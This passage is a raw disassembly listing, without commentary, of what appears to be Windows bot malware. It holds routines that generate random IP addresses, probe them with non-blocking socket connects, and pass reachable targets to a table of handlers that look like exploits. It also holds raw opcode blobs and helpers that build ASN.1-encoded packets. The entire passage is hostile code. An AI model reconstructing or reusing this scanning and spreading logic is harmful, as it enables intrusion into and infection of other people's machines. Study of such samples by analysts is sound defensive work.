[ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 18h leave retn sub_40BD1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD91 proc near ; CODE XREF: sub_40C3E8+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40C263 shl eax, 6 xor ebx, ebx cmp dword_431814[eax], ebx jz loc_40C263 push 5 call sub_40B602 test eax, eax pop ecx jnz loc_40C018 mov eax, dword_429078 push edi mov esi, offset dword_4CDBEC push 104h push esi push ebx mov dword_4CDDFC, eax mov dword_4CDDF8, ebx nop call near ptr 2670000h mov edi, offset byte_42910C push 103h push edi push offset dword_4CDCF0 call sub_41BFD0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDBE8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CDE80, eax jnz short loc_40BE44 lea eax, [ebp+arg_10] push eax push offset dword_4CDE00 call sub_41BFD0 add esp, 0Ch mov dword_4CDE84, 1 jmp short loc_40BE5E ; --------------------------------------------------------------------------- loc_40BE44: ; CODE XREF: sub_40BD91+94j lea eax, [ebp+arg_90] push eax push offset dword_4CDE00 call sub_41BFD0 add esp, 0Ch mov dword_4CDE84, ebx loc_40BE5E: ; CODE XREF: sub_40BD91+B1j push esi lea eax, [ebp+var_204] push dword_4CDDFC push offset unk_42C210 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B3BA add esp, 1Ch mov dword_4CDDF4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDBE8 push offset byte_412197 push ebx push ebx nop call near ptr 2680000h mov ecx, dword_4CDDF4 imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40BECC loc_40BEBA: ; CODE XREF: sub_40BD91+139j cmp dword_4CDE88, ebx jnz short loc_40BEE7 push 32h call near ptr 2670EEFh nop jmp short loc_40BEBA ; --------------------------------------------------------------------------- loc_40BECC: ; CODE XREF: sub_40BD91+127j nop call near ptr 26808B7h push eax lea eax, [ebp+var_204] push offset unk_431E18 push eax call sub_41C266 add esp, 0Ch loc_40BEE7: ; CODE XREF: sub_40BD91+12Fj lea eax, [ebp+var_204] push eax call sub_415D38 mov eax, dword_4CB720 mov esi, offset dword_4CDE94 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CE0A4, eax mov dword_4CE0A0, ebx call near ptr 2670000h nop push 103h push edi push offset dword_4CDF98 call sub_41BFD0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDE90, eax mov eax, [ebp+arg_138] pop edi mov dword_4CE128, eax push 7Fh jnz short loc_40BF68 lea eax, [ebp+arg_10] push eax push offset dword_4CE0A8 call sub_41BFD0 add esp, 0Ch mov dword_4CE12C, 1 jmp short loc_40BF82 ; --------------------------------------------------------------------------- loc_40BF68: ; CODE XREF: sub_40BD91+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CE0A8 call sub_41BFD0 add esp, 0Ch mov dword_4CE12C, ebx loc_40BF82: ; CODE XREF: sub_40BD91+1D5j push esi lea eax, [ebp+var_204] push dword_4CE0A4 push offset unk_431DE4 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B3BA add esp, 1Ch mov dword_4CE09C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDE90 push offset word_40F3AA push ebx push ebx nop call near ptr 2680000h mov ecx, dword_4CE09C imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40BFF0 loc_40BFDE: ; CODE XREF: sub_40BD91+25Dj cmp dword_4CE130, ebx jnz short loc_40C00B push 32h nop call near ptr 2670EEFh jmp short loc_40BFDE ; --------------------------------------------------------------------------- loc_40BFF0: ; CODE XREF: sub_40BD91+24Bj nop call near ptr 26808B7h push eax lea eax, [ebp+var_204] push offset unk_431DB0 push eax call sub_41C266 add esp, 0Ch loc_40C00B: ; CODE XREF: sub_40BD91+253j lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C018: ; CODE XREF: sub_40BD91+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43181C[ecx], ebx jz loc_40C141 push 7 call sub_40B602 test eax, eax pop ecx jnz loc_40C13B mov eax, dword_4CE720 cmp [ebp+arg_90], bl mov dword_4CDB54, eax mov eax, [ebp+arg_110] mov dword_4CDB48, eax mov eax, [ebp+arg_138] mov dword_4CDB50, ebx mov dword_4CDBD8, eax push 7Fh jnz short loc_40C08C lea eax, [ebp+arg_10] push eax push offset dword_4CDB58 call sub_41BFD0 add esp, 0Ch mov dword_4CDBDC, 1 jmp short loc_40C0A6 ; --------------------------------------------------------------------------- loc_40C08C: ; CODE XREF: sub_40BD91+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CDB58 call sub_41BFD0 add esp, 0Ch mov dword_4CDBDC, ebx loc_40C0A6: ; CODE XREF: sub_40BD91+2F9j push dword_4CDB54 lea eax, [ebp+var_204] push offset unk_431D80 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B3BA add esp, 18h mov dword_4CDB4C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDB48 push offset dword_40F108 push ebx push ebx call near ptr 2680000h nop mov ecx, dword_4CDB4C imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40C113 loc_40C101: ; CODE XREF: sub_40BD91+380j cmp dword_4CDBE0, ebx jnz short loc_40C12E push 32h call near ptr 2670EEFh nop jmp short loc_40C101 ; --------------------------------------------------------------------------- loc_40C113: ; CODE XREF: sub_40BD91+36Ej nop call near ptr 26808B7h push eax lea eax, [ebp+var_204] push offset unk_431D48 push eax call sub_41C266 add esp, 0Ch loc_40C12E: ; CODE XREF: sub_40BD91+376j lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C13B: ; CODE XREF: sub_40BD91+2A8j mov eax, [ebp+arg_130] loc_40C141: ; CODE XREF: sub_40BD91+298j shl eax, 6 cmp dword_431818[eax], ebx jz loc_40C263 push 3 call sub_40B602 test eax, eax pop ecx jnz loc_40C263 mov esi, offset dword_4CE3C4 push 104h push esi push ebx nop call near ptr 2670000h push 5Ch push esi call sub_41C820 pop ecx cmp eax, ebx pop ecx jz short loc_40C182 mov [eax], bl loc_40C182: ; CODE XREF: sub_40BD91+3EDj mov eax, dword_42907C mov dword_4CE4DC, ebx mov dword_4CE4C8, eax lea eax, [ebp+arg_10] push eax push offset dword_4CE13C call sub_41C266 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CE138, eax mov ecx, [ebp+arg_138] push esi push dword_4CE4C8 mov dword_4CE4D4, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CE4D8, ecx call sub_40AA06 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42C198 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B3BA add esp, 20h mov dword_4CE4D0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CE138 push offset sub_40FAD6 push ebx push ebx nop call near ptr 2680000h mov ecx, dword_4CE4D0 imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40C23B loc_40C229: ; CODE XREF: sub_40BD91+4A8j cmp dword_4CE4E4, ebx jnz short loc_40C256 push 32h nop call near ptr 2670EEFh jmp short loc_40C229 ; --------------------------------------------------------------------------- loc_40C23B: ; CODE XREF: sub_40BD91+496j call near ptr 26808B7h nop push eax lea eax, [ebp+var_204] push offset unk_431D14 push eax call sub_41C266 add esp, 0Ch loc_40C256: ; CODE XREF: sub_40BD91+49Ej lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C263: ; CODE XREF: sub_40BD91+14j ; sub_40BD91+25j ... pop esi pop ebx leave retn sub_40BD91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C267 proc near ; CODE XREF: sub_40C3E8:loc_40C459p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CBB30h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41CD20 add esp, 0Ch push [ebp+arg_0] call dword_4CB90C inc eax push eax mov [ebp+arg_0], eax call dword_4CB9E0 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41CD20 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40C267 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2AF proc near ; CODE XREF: sub_40C3E8+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41B9C0 cmp eax, 0Fh pop ecx jbe short loc_40C2D7 xor eax, eax jmp short loc_40C348 ; --------------------------------------------------------------------------- loc_40C2D7: ; CODE XREF: sub_40C2AF+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41CCE3 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C304 call sub_41C2C2 mov [ebp+var_C], eax loc_40C304: ; CODE XREF: sub_40C2AF+4Bj cmp [ebp+var_8], esi jnz short loc_40C311 call sub_41C2C2 mov [ebp+var_8], eax loc_40C311: ; CODE XREF: sub_40C2AF+58j cmp [ebp+var_4], esi jnz short loc_40C31E call sub_41C2C2 mov [ebp+var_4], eax loc_40C31E: ; CODE XREF: sub_40C2AF+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C32A call sub_41C2C2 loc_40C32A: ; CODE XREF: sub_40C2AF+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CBB30[ecx*8], eax loc_40C348: ; CODE XREF: sub_40C2AF+26j pop esi leave retn sub_40C2AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C34B proc near ; CODE XREF: ___:0040BBBEp ; sub_40C3E8+BBp ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CBA64 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C374 xor eax, eax jmp short loc_40C3E3 ; --------------------------------------------------------------------------- loc_40C374: ; CODE XREF: sub_40C34B+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CB9E4 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CBA80 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CB98C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CB9CC push esi mov edi, eax call dword_4CBA7C xor eax, eax cmp edi, ebx setnle al loc_40C3E3: ; CODE XREF: sub_40C34B+27j pop edi pop esi pop ebx leave retn sub_40C34B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3E8 proc near ; DATA XREF: sub_40C3E8+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call near ptr 2690648h nop push eax call sub_41C2B8 mov ebx, esi pop ecx imul ebx, 234h loc_40C42F: ; CODE XREF: sub_40C3E8+204j mov eax, dword_43E924[ebx] cmp dword_4CBB34[eax*8], 0 jz loc_40C5F1 cmp [ebp+var_10], 0 push eax jz short loc_40C459 lea eax, [ebp+var_150] push eax call sub_40C2AF pop ecx jmp short loc_40C45E ; --------------------------------------------------------------------------- loc_40C459: ; CODE XREF: sub_40C3E8+60j call sub_40C267 loc_40C45E: ; CODE XREF: sub_40C3E8+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43E924[ebx] push [ebp+var_3C] push edi call dword_4CBA70 push eax lea eax, [ebp+var_28C] push offset unk_431E74 push eax call sub_41C266 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43E720[ebx] push eax call sub_41C266 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C34B add esp, 14h cmp eax, 1 jnz loc_40C5E1 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C535 push offset dword_4CDB30 call near ptr 77F7E21Fh nop push [ebp+var_3C] push edi call dword_4CBA70 push eax lea eax, [ebp+var_28C] push offset unk_431E4C push eax call sub_41C266 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C517 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C50B lea eax, [ebp+var_140] loc_40C50B: ; CODE XREF: sub_40C3E8+11Bj push eax push [ebp+var_40] call sub_409869 add esp, 14h loc_40C517: ; CODE XREF: sub_40C3E8+100j lea eax, [ebp+var_28C] push eax call sub_415D38 mov [esp+29Ch+var_29C], offset dword_4CDB30 call near ptr 77F7E300h nop jmp loc_40C5E1 ; --------------------------------------------------------------------------- loc_40C535: ; CODE XREF: sub_40C3E8+D0j push edi call dword_4CBA70 push eax lea eax, [ebp+var_208] push eax call sub_41C266 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41C266 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C57A lea eax, [ebp+var_140] loc_40C57A: ; CODE XREF: sub_40C3E8+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41C266 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_43180C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C5E1: ; CODE XREF: sub_40C3E8+C6j ; sub_40C3E8+148j push 7D0h nop call near ptr 2670EEFh jmp loc_40C42F ; --------------------------------------------------------------------------- loc_40C5F1: ; CODE XREF: sub_40C3E8+55j push esi call sub_40B6D6 pop ecx push 0 nop call near ptr 26E0000h loc_40C600: ; DATA XREF: sub_401ACD+1F2Ao ; sub_401ACD+5B7Ao push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CBA24 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CBB30[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BD91 push 0Bh call sub_40B602 add esp, 150h cmp eax, ebx jnz short loc_40C6CE mov esi, offset dword_4CDB30 push esi call near ptr 26E06D1h nop push 80000400h push esi nop call near ptr 26E0518h test eax, eax jnz short loc_40C6CE lea eax, [ebp+var_1CC] push offset unk_431F58 push eax call sub_41C266 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C6B8 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409869 add esp, 14h loc_40C6B8: ; CODE XREF: sub_40C3E8+2B1j lea eax, [ebp+var_1CC] push eax call sub_415D38 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C6CE: ; CODE XREF: sub_40C3E8+27Bj ; sub_40C3E8+297j mov eax, [ebp+var_2C] mov esi, dword_427080 mov edi, ebx mov dword_4CBB34[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C79B loc_40C6EC: ; CODE XREF: sub_40C3E8+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431F24 push eax call sub_41C266 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B3BA mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43E924[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C3E8 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40C766 loc_40C75B: ; CODE XREF: sub_40C3E8+37Cj cmp [ebp+var_4], ebx jnz short loc_40C78D push 1Eh call esi jmp short loc_40C75B ; --------------------------------------------------------------------------- loc_40C766: ; CODE XREF: sub_40C3E8+371j nop call near ptr 26808B7h push eax lea eax, [ebp+var_1CC] push offset unk_431EEC push eax call sub_41C266 lea eax, [ebp+var_1CC] push eax call sub_415D38 add esp, 10h loc_40C78D: ; CODE XREF: sub_40C3E8+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C6EC loc_40C79B: ; CODE XREF: sub_40C3E8+2FEj cmp [ebp+var_30], ebx jz loc_40C845 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C7B0: ; CODE XREF: sub_40C3E8+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CBB30[eax*8] push eax call dword_4CBA70 push eax lea eax, [ebp+var_1CC] push offset unk_431EAC push eax call sub_41C266 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C7FE push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409869 add esp, 14h loc_40C7FE: ; CODE XREF: sub_40C3E8+3F7j lea eax, [ebp+var_1CC] push eax call sub_415D38 mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CBB34[eax*8], ebx call esi push 0Bh call sub_40B602 cmp eax, 1 pop ecx jnz short loc_40C835 push offset dword_4CDB30 nop call near ptr 26E06D1h loc_40C835: ; CODE XREF: sub_40C3E8+440j push [ebp+var_2C] call sub_40B6D6 pop ecx push ebx nop call near ptr 26E0000h loc_40C845: ; CODE XREF: sub_40C3E8+3B6j ; sub_40C3E8+475j mov eax, [ebp+var_2C] cmp dword_4CBB34[eax*8], 1 jnz loc_40C7B0 push 7D0h call esi jmp short loc_40C845 sub_40C3E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C85F proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CB9E4 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CBA64 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C91D lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB98C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43E92C[ecx], esi jz short loc_40C91D push [ebp+var_38] push [ebp+var_28] call dword_4CBA70 push eax mov edi, offset dword_4CE4F4 push offset dword_431F8C push edi call sub_41C266 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409869 push edi call sub_415D38 add esp, 28h loc_40C91D: ; CODE XREF: sub_40C85F+5Dj ; sub_40C85F+7Ej push esi call dword_4CBA7C pop edi xor eax, eax pop esi leave retn 4 sub_40C85F endp ; --------------------------------------------------------------------------- dword_40C92C dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+5F60o dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0BA7015FFh, 8D50004Ch, 0FFFECC85h dd 1FB468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0E7200500h, 0E8500043h dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C85Fh, 0E8905757h, 227364Ch, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 61E890FCh, 0FF02253Eh dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB90Ch dd 45895040h, 0E015FF08h, 89004CB9h, 458D0845h, 50046A08h dd 50E0458Dh, 1030BE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40CA1D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5C80o dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 7015FFE4h, 50004CBAh, 0FED0858Dh, 868FFFFh dd 50004320h, 0F7FDE8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 20050000h, 500043E7h, 0F547E8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h, 90575700h dd 27355BE8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 71E80875h, 9002253Dh, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 7015FFE4h, 50004CBAh, 0FED0858Dh, 0DC68FFFFh dd 5000431Fh, 0F76DE8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40CB2A proc near ; CODE XREF: sub_40CD9E+Ep ; sub_40CD9E+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40CB2A endp ; =============== S U B R O U T I N E ======================================= sub_40CB34 proc near ; CODE XREF: sub_40CD9E+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41BEB5 mov edi, eax pop ecx test edi, edi jz short loc_40CB66 push ebx push 0 push edi call sub_41BF70 push ebx push [esp+1Ch+arg_0] push edi call sub_41CD20 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40CB66: ; CODE XREF: sub_40CB34+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40CB34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB6E proc near ; CODE XREF: sub_40CC68+18p ; sub_40CCE2+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41BEB5 mov esi, eax pop ecx test esi, esi jz short loc_40CBBA push edi push 0 push esi call sub_41BF70 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41CD20 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41CD20 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40CBBA: ; CODE XREF: sub_40CB6E+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40CB6E endp ; =============== S U B R O U T I N E ======================================= sub_40CBC3 proc near ; CODE XREF: sub_40CC68+5Ep ; sub_40CC68+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40CBD3 push eax call sub_41BA91 pop ecx loc_40CBD3: ; CODE XREF: sub_40CBC3+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40CBC3 endp ; =============== S U B R O U T I N E ======================================= sub_40CBDC proc near ; CODE XREF: sub_40CC68+20p ; sub_40CD43+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40CC09 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41BEB5 mov edi, eax pop ecx test edi, edi jnz short loc_40CC0D loc_40CC09: ; CODE XREF: sub_40CBDC+Dj xor al, al jmp short loc_40CC64 ; --------------------------------------------------------------------------- loc_40CC0D: ; CODE XREF: sub_40CBDC+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41BF70 add esp, 0Ch cmp ebx, 1 jnz short loc_40CC32 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40CC4C ; --------------------------------------------------------------------------- loc_40CC32: ; CODE XREF: sub_40CBDC+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40CC4C: ; CODE XREF: sub_40CBDC+54j push eax call sub_41CD20 add esp, 0Ch push dword ptr [esi] call sub_41BA91 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40CC64: ; CODE XREF: sub_40CBDC+2Fj pop edi pop esi pop ebx retn sub_40CBDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CC68 proc near ; CODE XREF: sub_40CD9E+89p ; sub_40CD9E+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset word_4CB89C call sub_40CB6E lea ecx, [ebp+var_8] call sub_40CBDC mov eax, [ebp+var_4] inc eax push eax call sub_41BEB5 mov edi, eax pop ecx test edi, edi jnz short loc_40CCA2 xor al, al jmp short loc_40CCDE ; --------------------------------------------------------------------------- loc_40CCA2: ; CODE XREF: sub_40CC68+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41BF70 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41CD20 add esp, 18h mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40CBC3 mov al, 1 loc_40CCDE: ; CODE XREF: sub_40CC68+38j pop edi pop esi leave retn sub_40CC68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCE2 proc near ; CODE XREF: sub_40CD16+14p ; sub_40CD33+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch 